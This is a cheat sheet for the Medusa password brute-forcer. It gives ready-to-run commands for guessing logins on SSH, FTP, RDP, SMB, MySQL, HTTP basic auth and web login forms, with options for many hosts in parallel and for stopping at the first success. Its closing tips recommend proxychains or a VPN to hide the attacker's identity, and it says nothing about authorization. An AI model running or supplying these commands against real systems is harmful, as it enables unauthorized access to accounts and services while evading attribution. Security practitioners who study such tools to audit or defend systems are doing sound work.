**🐍 Medusa Brute-Force Attack Cheat Sheet**

Medusa is a **fast, parallel, modular login brute-forcer** supporting many protocols (SSH, FTP, Telnet, HTTP, RDP, SMB, etc.).

**🔹 1. Basic Syntax**

medusa -h <host> -u <username> -p <password> -M <module>

* -h → target host
* -H → file with target hosts
* -u → username
* -U → file with usernames
* -p → password
* -P → file with passwords
* -M → module (service to attack, e.g., ssh, ftp, http, smb)

**🔹 2. Common Examples**

**SSH Brute Force (single user)**

medusa -h 192.168.1.10 -u root -P passwords.txt -M ssh

**FTP Brute Force (multiple users)**

medusa -h 192.168.1.20 -U users.txt -P passwords.txt -M ftp

**HTTP Basic Auth**

medusa -h target.com -U users.txt -P passlist.txt -M http -m DIR:/admin

**RDP Brute Force**

medusa -h 192.168.1.30 -U users.txt -P pass.txt -M rdp

**SMB Brute Force**

medusa -h 192.168.1.40 -U users.txt -P passwords.txt -M smbnt

**🔹 3. Advanced Usage**

**Multiple Targets**

medusa -H hosts.txt -U users.txt -P pass.txt -M ssh

**Limit Attempts Per Host**

medusa -h 192.168.1.50 -U users.txt -P pass.txt -M ssh -t 4

(-t = number of parallel threads)

**Stop on First Success**

medusa -h 192.168.1.60 -u admin -P pass.txt -M ssh -f

**Custom Port**

medusa -h 192.168.1.70 -u root -P pass.txt -M ssh -n 2222

**🔹 4. Supported Modules (Common)**

| **Module** | **Protocol** |
| --- | --- |
| ssh | Secure Shell |
| ftp | File Transfer Protocol |
| telnet | Telnet service |
| http | Web login / Basic auth |
| rdp | Remote Desktop Protocol |
| smbnt | Windows SMB/NTLM |
| mysql | MySQL database |
| postgres | PostgreSQL database |
| vnc | VNC login |

Check available modules:

medusa -d

**🔹 5. Useful Options**

| **Option** | **Description** |
| --- | --- |
| -t <num> | Threads per host |
| -T <num> | Total parallel hosts |
| -f | Stop after first success |
| -F | Stop after all users on host succeed |
| -O file | Save output to file |
| -n <port> | Custom port |
| -m <opt> | Extra module-specific options |

**🔹 6. Example Attack Scenarios**

**Attack Web Login Form**

medusa -h target.com -u admin -P pass.txt -M web-form \

-m FORM:"/login.php:username=^USER^&password=^PASS^:Invalid"

**Brute Force MySQL**

medusa -h 192.168.1.100 -U users.txt -P pass.txt -M mysql

**Parallel Attack on Multiple Hosts**

medusa -H servers.txt -U users.txt -P passlist.txt -M ssh -T 10

**🔹 7. Tips & Notes**

* Use **small password lists** with -f for faster results.
* Combine with **proxychains** or VPN to hide identity.
* Medusa is **faster than Hydra** for multiple hosts but less flexible in modules.
* Always update your **SecLists** wordlists for best results.